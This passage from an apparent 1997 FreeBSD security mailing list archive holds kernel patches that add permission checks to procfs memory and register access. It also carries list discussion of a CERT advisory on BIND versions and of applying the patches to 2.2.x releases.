EPERM; kl = sizeof(r); kv = (char *) &r; Index: procfs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_vnops.c,v retrieving revision 1.30 retrieving revision 1.31 diff -u -r1.30 -r1.31 --- procfs_vnops.c 1997/08/02 14:32:20 1.30 +++ procfs_vnops.c 1997/08/12 04:34:30 1.31 @@ -36,7 +36,7 @@ * * @(#)procfs_vnops.c 8.18 (Berkeley) 5/21/95 * - * $Id: procfs_vnops.c,v 1.30 1997/08/02 14:32:20 bde Exp $ + * $Id: procfs_vnops.c,v 1.31 1997/08/12 04:34:30 sef Exp $ */ /* @@ -127,16 +127,21 @@ } */ *ap; { struct pfsnode *pfs = VTOPFS(ap->a_vp); + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid); + + if (p2 == NULL) + return ENOENT; switch (pfs->pfs_type) { case Pmem: - if (PFIND(pfs->pfs_pid) == 0) - return (ENOENT); /* was ESRCH, jsp */ - if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) || (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE)) return (EBUSY); + if (!CHECKIO(p1, p2) && + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP)) + return EPERM; + if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); @@ -194,7 +199,6 @@ struct proc *a_p; } */ *ap; { - return (ENOTTY); } Index: procfs_fpregs.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_fpregs.c,v retrieving revision 1.7 retrieving revision 1.8 diff -u -r1.7 -r1.8 --- procfs_fpregs.c 1997/08/02 14:32:11 1.7 +++ procfs_fpregs.c 1997/08/12 05:23:51 1.8 @@ -37,7 +37,7 @@ * @(#)procfs_fpregs.c 8.2 (Berkeley) 6/15/94 * * From: - * $Id: procfs_fpregs.c,v 1.7 1997/08/02 14:32:11 bde Exp $ + * $Id: procfs_fpregs.c,v 1.8 1997/08/12 05:23:51 sef Exp $ */ #include @@ -60,6 +60,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; From owner-freebsd-security Thu Aug 14 14:02:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13204 for security-outgoing; Thu, 14 Aug 1997 14:02:05 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA13196 for ; Thu, 14 Aug 1997 14:01:57 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 23074 invoked by uid 1001); 14 Aug 1997 21:01:44 +0000 (GMT) To: Studded@dal.net Cc: cschuber@uumail.gov.bc.ca, pst@shockwave.com, freebsd-security@FreeBSD.ORG, security-officer@FreeBSD.ORG Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon In-Reply-To: Your message of "Thu, 14 Aug 97 12:45:49 -0700" References: <199708141946.MAA20329@mail.san.rr.com> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Thu, 14 Aug 1997 23:01:43 +0200 Message-ID: <23072.871592503@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >8.1.1 will not be going into 2.2, it will go into -current. > >4.9.6 will be going into 2.2. > > This is great with the caveat that both -current and 2.2 need to > continue to track the BIND 4.9.x distribution until such time as the 8.x > distribution includes upgraded libs and include files that can be > installed in the standard locations. As far as I know Paul Vixie has said that 4.9.6 is the last release on the 4.x branch. All new releases will be for the 8.x branch. Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-security Thu Aug 14 16:27:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20751 for security-outgoing; Thu, 14 Aug 1997 16:27:30 -0700 (PDT) Received: from mail.san.rr.com (san.rr.com [204.210.0.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20733 for ; Thu, 14 Aug 1997 16:27:22 -0700 (PDT) Received: (from uucp@localhost) by mail.san.rr.com (8.8.7/8.8.7) id PAA13008; Thu, 14 Aug 1997 15:12:48 -0700 (PDT) Message-Id: <199708142212.PAA13008@mail.san.rr.com> Received: from dt5h1n61.san.rr.com(204.210.31.97) by mail via smap (V2.0) id xma012753; Thu, 14 Aug 97 15:12:25 -0700 From: "Studded" To: "sthaug@nethelp.no" Cc: "freebsd-security@FreeBSD.ORG" Date: Thu, 14 Aug 97 15:11:59 -0700 Reply-To: "Studded" Priority: Normal X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997 23:01:43 +0200, sthaug@nethelp.no wrote: >As far as I know Paul Vixie has said that 4.9.6 is the last release on >the 4.x branch. All new releases will be for the 8.x branch. Yes, well, I've seen a lot of things happen on the internet that were never supposed to happen. :) In any case, my point is simply that if they move forward with 4.9.x, we should track it (after a reasonable period of time to make sure there are no bugs in their new release). It took so long to move up from 4.9.4, I'd like to see some plans laid to make sure something like that doesn't happen again. Doug Do thou amend they face, and I'll amend my life. -Shakespeare, "Henry V" From owner-freebsd-security Thu Aug 14 17:58:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25986 for security-outgoing; Thu, 14 Aug 1997 17:58:24 -0700 (PDT) Received: from balder.besys.net.au (root@[203.103.239.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA25977 for ; Thu, 14 Aug 1997 17:58:19 -0700 (PDT) Received: from ingold.besys.net.au (ingold.besys.net.au [203.103.239.196]) by balder.besys.net.au (8.8.6/8.8.5) with ESMTP id KAA15404 for ; Fri, 15 Aug 1997 10:57:19 +1000 (EST) Message-ID: <33F3A96F.C6D7C46F@besys.net.au> Date: Fri, 15 Aug 1997 10:57:19 +1000 From: Peter Champas Organization: http://www.besys.net.au/ X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: security@FreeBSD.ORG Subject: Re: Since people didn't save the procfs patches X-Priority: 3 (Normal) References: <199708142040.NAA01094@freefall.freebsd.org> Content-Type: multipart/mixed; boundary="------------16146B8AFABDB64EA0E5C1A6" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------16146B8AFABDB64EA0E5C1A6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sean Eric Fagan wrote: > > when I sent them out, and did not grab the new files, here they are > again. > These are -current; they should apply pretty easily to 2.2-ANYTHING, > however -- the procfs files don't change all that often most of the > time ;). > retrieving revision 1.15 Call me stupid and But 2.2-ANYTHING, is not entirly true (unless I missed somthing) cause most of the files being patched look as though they are 2 revisions behind, and I got rejections when I did the patch. I am Running 2.2.1 Mind you I still don't know how to compile procfs source so any help would be great.. cheers -- *---------------------[ http://www.besys.net.au/ ]---------------------* | Peter Champas | peter@besys.net.au | |----------------------------------------------------------------------| | I don't demand perfection, just something that's reasonably reliable | *----------------------------------------------------------------------* --------------16146B8AFABDB64EA0E5C1A6 Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Peter Champas Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Peter Champas n: Champas;Peter org: besys.net.au adr: ;;;;;;Australia email;internet: peter@besys.net.au title: Systems Administrator tel;work: +61 3 9578 7806 x-mozilla-cpt: 203.103.239.196;2 x-mozilla-html: TRUE end: vcard --------------16146B8AFABDB64EA0E5C1A6-- From owner-freebsd-security Fri Aug 15 08:22:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA01764 for security-outgoing; Fri, 15 Aug 1997 08:22:10 -0700 (PDT) Received: from roguetrader.com (brandon@cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA01756 for ; Fri, 15 Aug 1997 08:22:04 -0700 (PDT) Received: from localhost (brandon@localhost) by roguetrader.com (8.8.5/8.8.5) with SMTP id JAA11023; Fri, 15 Aug 1997 09:23:29 -0600 (MDT) Date: Fri, 15 Aug 1997 09:23:29 -0600 (MDT) From: Brandon Gillespie To: Studded cc: "sthaug@nethelp.no" , "freebsd-security@FreeBSD.ORG" Subject: Re: CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon In-Reply-To: <199708142212.PAA13008@mail.san.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997, Studded wrote: > On Thu, 14 Aug 1997 23:01:43 +0200, sthaug@nethelp.no wrote: > > >As far as I know Paul Vixie has said that 4.9.6 is the last release on > >the 4.x branch. All new releases will be for the 8.x branch. > > Yes, well, I've seen a lot of things happen on the internet that > were never supposed to happen. :) In any case, my point is simply that > if they move forward with 4.9.x, we should track it (after a reasonable > period of time to make sure there are no bugs in their new release). There HAS been a reasonable time to make sure there are no bugs in bind8--its actually been available for some time now... -Brandon Gillespie From owner-freebsd-security Fri Aug 15 19:23:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA02584 for security-outgoing; Fri, 15 Aug 1997 19:23:31 -0700 (PDT) Received: from cwsys.cwent.com (66@cschuber.net.gov.bc.ca [142.31.240.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA02579 for ; Fri, 15 Aug 1997 19:23:24 -0700 (PDT) Received: (from uucp@localhost) by cwsys.cwent.com (8.8.7/8.6.10) id TAA07251; Fri, 15 Aug 1997 19:22:26 -0700 (PDT) Message-Id: <199708160222.TAA07251@cwsys.cwent.com> Received: from localhost.cwent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwent.com, id smtpd007244; Sat Aug 16 02:22:19 1997 Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH To: Peter Champas cc: security@freebsd.org Subject: Re: Since people didn't save the procfs patches In-reply-to: Your message of "Fri, 15 Aug 1997 10:57:19 +1000." <33F3A96F.C6D7C46F@besys.net.au> Date: Fri, 15 Aug 1997 19:22:18 -0700 From: Cy Schubert Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > This is a multi-part message in MIME format. > --------------16146B8AFABDB64EA0E5C1A6 > Content-Type: text/plain; charset=us-ascii > Content-Transfer-Encoding: 7bit > > Sean Eric Fagan wrote: > > > > when I sent them out, and did not grab the new files, here they are > > again. > > These are -current; they should apply pretty easily to 2.2-ANYTHING, > > however -- the procfs files don't change all that often most of the > > time ;). > > retrieving revision 1.15 > Call me stupid and But 2.2-ANYTHING, is not entirly true (unless I > missed somthing) cause most of the files being patched look as though > they are 2 revisions behind, and I got rejections when I did the patch. > I am Running 2.2.1 > > Mind you I still don't know how to compile procfs source so any help > would be great.. The patched sources for 2.2.2R are available via cvsup. I took the liberty of getting the patched procfs sources and creating a diff file for anyone running 2.2.2R as shipped on the CDROM. They do fix the problem. I'm not sure whether the enclosed patches will work on 2.2.1. Only in miscfs/procfs: CVS diff -ur miscfs/procfs/procfs.h /opt/CVSup/usr/src/sys/miscfs/procfs/procfs.h --- miscfs/procfs/procfs.h Tue Jul 2 06:38:07 1996 +++ /opt/CVSup/usr/src/sys/miscfs/procfs/procfs.h Tue Aug 12 08:52:15 1997 @@ -36,7 +36,7 @@ * * @(#)procfs.h 8.6 (Berkeley) 2/3/94 * - * $Id: procfs.h,v 1.12 1996/07/02 13:38:07 dyson Exp $ + * $Id: procfs.h,v 1.12.2.1 1997/08/12 04:45:20 sef Exp $ */ /* @@ -83,6 +83,18 @@ (bcmp((s), (cnp)->cn_nameptr, (len)) == 0)) #define KMEM_GROUP 2 + +/* + * Check to see whether access to target process is allowed + * Evaluates to 1 if access is allowed. + */ +#define CHECKIO(p1, p2) \ + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ + ((p2)->p_flag & P_SUGID) == 0) || \ + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) + /* * Format of a directory entry in /proc, ... * This must map onto struct dirent (see ) diff -ur miscfs/procfs/procfs_fpregs.c /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_fpregs.c --- miscfs/procfs/procfs_fpregs.c Wed Jan 24 10:40:56 1996 +++ /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_fpregs.c Tue Aug 12 08:52:18 1997 @@ -36,7 +36,7 @@ * * @(#)procfs_fpregs.c 8.1 (Berkeley) 1/27/94 * - * $Id: procfs_fpregs.c,v 1.3 1996/01/24 18:40:56 peter Exp $ + * $Id: procfs_fpregs.c,v 1.3.4.1 1997/08/12 05:24:20 sef Exp $ */ #include @@ -62,6 +62,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; diff -ur miscfs/procfs/procfs_mem.c /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_mem.c --- miscfs/procfs/procfs_mem.c Wed Oct 23 19:47:05 1996 +++ /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_mem.c Tue Aug 12 08:52:18 1997 @@ -37,7 +37,7 @@ * * @(#)procfs_mem.c 8.4 (Berkeley) 1/21/94 * - * $Id: procfs_mem.c,v 1.20 1996/10/24 02:47:05 dyson Exp $ + * $Id: procfs_mem.c,v 1.20.2.1 1997/08/12 04:45:23 sef Exp $ */ /* @@ -300,6 +300,23 @@ if (uio->uio_resid == 0) return (0); + /* + * XXX + * We need to check for KMEM_GROUP because ps is sgid kmem; + * not allowing it here causes ps to not work properly. Arguably, + * this is a bug with what ps does. We only need to do this + * for Pmem nodes, and only if it's reading. This is still not + * good, as it may still be possible to grab illicit data if + * a process somehow gets to be KMEM_GROUP. Note that this also + * means that KMEM_GROUP can't change without editing procfs.h! + * All in all, quite yucky. + */ + + if (!CHECKIO(curp, p) && + !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP && + uio->uio_rw == UIO_READ)) + return EPERM; + error = procfs_rwmem(p, uio); return (error); diff -ur miscfs/procfs/procfs_regs.c /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_regs.c --- miscfs/procfs/procfs_regs.c Wed Jan 24 10:41:25 1996 +++ /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_regs.c Tue Aug 12 08:52:18 1997 @@ -36,7 +36,7 @@ * * @(#)procfs_regs.c 8.3 (Berkeley) 1/27/94 * - * $Id: procfs_regs.c,v 1.3 1996/01/24 18:41:25 peter Exp $ + * $Id: procfs_regs.c,v 1.3.4.1 1997/08/12 04:45:25 sef Exp $ */ #include @@ -62,6 +62,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; diff -ur miscfs/procfs/procfs_subr.c /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_subr.c --- miscfs/procfs/procfs_subr.c Sat Aug 31 09:52:39 1996 +++ /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_subr.c Sat Jun 21 16:23:55 1997 @@ -36,7 +36,7 @@ * * @(#)procfs_subr.c 8.4 (Berkeley) 1/27/94 * - * $Id: procfs_subr.c,v 1.10 1996/08/31 16:52:39 bde Exp $ + * $Id: procfs_subr.c,v 1.10.2.1 1997/06/21 16:16:34 alex Exp $ */ #include @@ -236,6 +236,8 @@ p = PFIND(pfs->pfs_pid); if (p == 0) return (EINVAL); + if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE) + return(EACCES); while (pfs->pfs_lockowner) { tsleep(&pfs->pfs_lockowner, PRIBIO, "pfslck", 0); diff -ur miscfs/procfs/procfs_vnops.c /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_vnops.c --- miscfs/procfs/procfs_vnops.c Tue Sep 3 07:23:10 1996 +++ /opt/CVSup/usr/src/sys/miscfs/procfs/procfs_vnops.c Tue Aug 12 08:52:19 1997 @@ -36,7 +36,7 @@ * * @(#)procfs_vnops.c 8.6 (Berkeley) 2/7/94 * - * $Id: procfs_vnops.c,v 1.24 1996/09/03 14:23:10 bde Exp $ + * $Id: procfs_vnops.c,v 1.24.2.1 1997/08/12 04:45:27 sef Exp $ */ /* @@ -120,16 +120,21 @@ struct vop_open_args *ap; { struct pfsnode *pfs = VTOPFS(ap->a_vp); + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid); + + if (p2 == NULL) + return ENOENT; switch (pfs->pfs_type) { case Pmem: - if (PFIND(pfs->pfs_pid) == 0) - return (ENOENT); /* was ESRCH, jsp */ - if (((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL)) || ((pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE))) return (EBUSY); + if (!CHECKIO(p1, p2) && + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP)) + return EPERM; + if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); @@ -176,7 +181,6 @@ procfs_ioctl(ap) struct vop_ioctl_args *ap; { - return (ENOTTY); } Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 UNIX Support OV/VM: BCSC02(CSCHUBER) ITSD BITNET: CSCHUBER@BCSC02.BITNET Government of BC Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it."